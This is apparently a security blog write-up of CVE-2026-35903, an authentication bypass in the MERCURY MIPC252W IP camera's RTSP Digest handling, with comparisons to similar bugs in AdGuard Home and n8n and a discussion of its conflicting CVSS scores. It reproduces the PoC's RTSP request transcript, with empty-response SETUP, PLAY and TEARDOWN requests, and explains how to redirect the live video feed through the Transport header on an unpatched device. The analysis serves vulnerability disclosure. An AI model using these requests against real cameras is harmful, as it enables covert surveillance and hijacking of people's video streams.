//nefariousplan

CVE-2026-35903: MERCURY's RTSP Treats Digest As a Handshake

pattern

cve

MERCURY's MIPC252W is a wireless IP camera sold in the Chinese consumer market. It streams video over RTSP and gates the stream behind HTTP Digest authentication. CVE-2026-35903 says the Digest check works the first time and stops working immediately after. The researcher's PoC marks the spot with one Chinese-language comment on the request that follows the authenticated DESCRIBE: response设置为空,不再认证了. Translated: response set to empty, no longer authenticates. Digest is per-request by design. MERCURY treats it as a handshake.

Digest authentication is per-request by design.

HTTP Digest Access Authentication, as defined in RFC 7616, is structured around one property: the client proves it knows the password on every authenticated request, never just on the first one. The mechanism is the response field. When a client wants to call DESCRIBE rtsp://camera/stream1, it computes:

HA1      = MD5(username:realm:password)
HA2      = MD5(method:uri)
response = MD5(HA1:nonce:HA2)

The method and the uri are inside the hash. That is not incidental. It is the entire point of the scheme. The same client, with the same credentials, against the same server, calling TEARDOWN rtsp://camera/stream1 instead of DESCRIBE, computes a different response. A captured DESCRIBE Authorization line cannot be replayed onto a TEARDOWN request; the server recomputes against the new method, the hash does not match, the request is rejected.

That property is the only reason Digest exists. Basic authentication sends the password on every request. Digest replaces the password with a per-request signature so the password never travels and the signature cannot be replayed across methods or URIs. If the server stops verifying the signature, Digest collapses into Basic without the password. What remains is a nonce and a Session ID, both of which travel in cleartext on the wire.

The camera asks once, then stops asking.

The PoC's transcript is short. The OPTIONS warmup is unauthenticated:

OPTIONS rtsp://192.168.0.149:554/stream1 RTSP/1.0
CSeq: 2

→ RTSP/1.0 200 OK

The first DESCRIBE draws a 401 with a Digest challenge:

DESCRIBE rtsp://192.168.0.149:554/stream1 RTSP/1.0
CSeq: 3

→ RTSP/1.0 401 Unauthorized
   WWW-Authenticate: Digest realm="MERCURY IP-Camera",
       nonce="14ec1bbf397af99e1da88fbd2deb3d54"

The client computes the response, retries, and the camera accepts:

DESCRIBE rtsp://192.168.0.149:554/stream1 RTSP/1.0
CSeq: 4
Authorization: Digest username="admin", realm="MERCURY IP-Camera",
  nonce="14ec1bbf397af99e1da88fbd2deb3d54",
  uri="rtsp://192.168.0.149:554/stream1",
  response="178011fa106a74cb806124d26be09dd1"

→ RTSP/1.0 200 OK
   Session: 5579378E
   <SDP body>

So far ordinary Digest. The server challenged, the client answered with a valid response, the server returned an SDP body and a Session: ID. Then the PoC begins sending RTSP control methods with the same nonce, the same Session ID, and an empty response field:

SETUP rtsp://192.168.0.149:554/stream1/track1 RTSP/1.0
CSeq: 5
Authorization: Digest username="admin", realm="MERCURY IP-Camera",
  nonce="14ec1bbf397af99e1da88fbd2deb3d54",
  uri="rtsp://192.168.0.149:554/stream1",
  response=""
Session: 5579378E

→ RTSP/1.0 200 OK
PLAY rtsp://192.168.0.149:554/stream1/ RTSP/1.0
CSeq: 7
Authorization: Digest username="admin", realm="MERCURY IP-Camera",
  nonce="14ec1bbf397af99e1da88fbd2deb3d54",
  uri="rtsp://192.168.0.149:554/stream1",
  response=""
Session: 5579378E
Range: npt=0.000-

→ RTSP/1.0 200 OK
TEARDOWN rtsp://192.168.0.149:554/stream1/ RTSP/1.0
CSeq: 8
Authorization: Digest username="admin", ..., response=""
Session: 5579378E

→ RTSP/1.0 200 OK

The researcher's PoC marks the transition with one Chinese-language comment, on the line that flips response to the empty string:

# response设置为空,不再认证了

Response set to empty, no longer authenticates. The comment is not analysis. It is the literal change being demonstrated and the literal observation about what the camera does next. The Digest hash the spec defines as proof of knowing the password is no longer proof of anything. It is decoration.

The middleware-outside-the-hijacker pattern, at the protocol level.

The shape is not new. We have covered it twice this month, in two different network protocols.

The Go-stdlib instance is in AdGuard Home, which placed its auth middleware on the outside of h2c.NewHandler. The HTTP/1.1 upgrade request was authenticated. Every HTTP/2 stream that ran through the hijacked socket afterwards was not. The Node-stdlib instance is in n8n's chat WebSocket, which registered its upgrade handler directly on the raw HTTP server before Express middleware could see the request. The handshake was gated by existence-of-execution-id. Every WebSocket frame after the upgrade arrived at the inner handler with no re-validation.

Both are instances of one architectural mistake: request-scoped authentication wrapped around a handler that promotes a single request into a long-lived connection. The handshake is checked. The session that follows is not. The library author named the wrapper "middleware" without noticing that the request the middleware sees is the only request inside the wrapper.

CVE-2026-35903 is the same pattern at the protocol level. RTSP does not "hijack" a TCP socket the way h2c or WebSocket do, but it does establish a logical session identified by a Session: header and a nonce value, and the protocol's authors knew it. The method and the URI go into the Digest hash precisely so that the long-lived session forces per-request re-authentication. MERCURY's implementation collapses that requirement. The session header replaces the response field. The middleware ran on DESCRIBE. Everything after DESCRIBE escaped the middleware in the same way an HTTP/2 frame escapes Express.

The credential is the Session ID, and the Session ID is on the wire.

Once response="" is accepted, the only fields the camera verifies on subsequent requests are nonce, Session, and the implicit fact that some authenticated client established this session in the past. None of those are secret. The Session: header is sent in cleartext on every RTSP reply. The nonce was sent in cleartext in the 401 challenge. Anything on the LAN with a packet capture knows both values within milliseconds of the legitimate viewer connecting.

The practical effect is that the camera's authentication boundary is not the password. The password is checked once, on DESCRIBE, by the legitimate viewer. From that point on, the boundary is "can you see the traffic on the network." On a residential Wi-Fi LAN with one camera and one viewer, that boundary includes every device associated with the access point and every device within radio range of it. RTSP control commands an attacker on that boundary can issue without forging Digest:

  • TEARDOWN: terminate the legitimate viewer's session.
  • PAUSE / PLAY: control the playback state.
  • SETUP with a different Transport: header: change where the camera sends its RTP packets.

The third is the high-impact case. The Transport: header in an RTSP SETUP request tells the camera where to deliver the RTP video frames. A SETUP request the camera accepts without verifying Digest is a SETUP request that can rewrite the destination address of the live video feed. The legitimate viewer's RTSP control session keeps appearing valid. The attacker on the LAN starts receiving the camera's frames.

Two CVSS scores, one mechanism.

Two CVSS scorings exist for this bug. The researcher's own README declares CVSS 3.1 base 2.3 (AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N): local network access, high privileges required, low integrity impact, no confidentiality impact, no availability impact. NVD scored the same bug at 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H): network reachable, no privileges, full impact on confidentiality, integrity, and availability.

The two scorings are not arguing about the code. They are arguing about whether seeing one authenticated session on the wire counts as "no privileges required." If the camera is on a residential LAN that also exposes it through a port-forward for remote viewing, which is the use case the product is sold for, NVD's reading is the operative one. The researcher's reading describes the bug on a hardened switched network with no observability. The mechanism is identical in both worlds. The cost is whichever boundary the network supplies, and most Wi-Fi networks supply none.

A note on what the references contain.

MERCURY has not published a patch. The CVE record references one document: the researcher's PoC. That PoC contains two comments about itself. The English-language header reads "This code is for authorized security research purposes only." The Chinese-language comment in the body reads "response set to empty, no longer authenticates." Both statements are in the same file. Only one of them is technically operative.

PoC: izxnfirh8148/CVE_REQUESTS_references

Digest is per-request by design. MERCURY treats it as a handshake.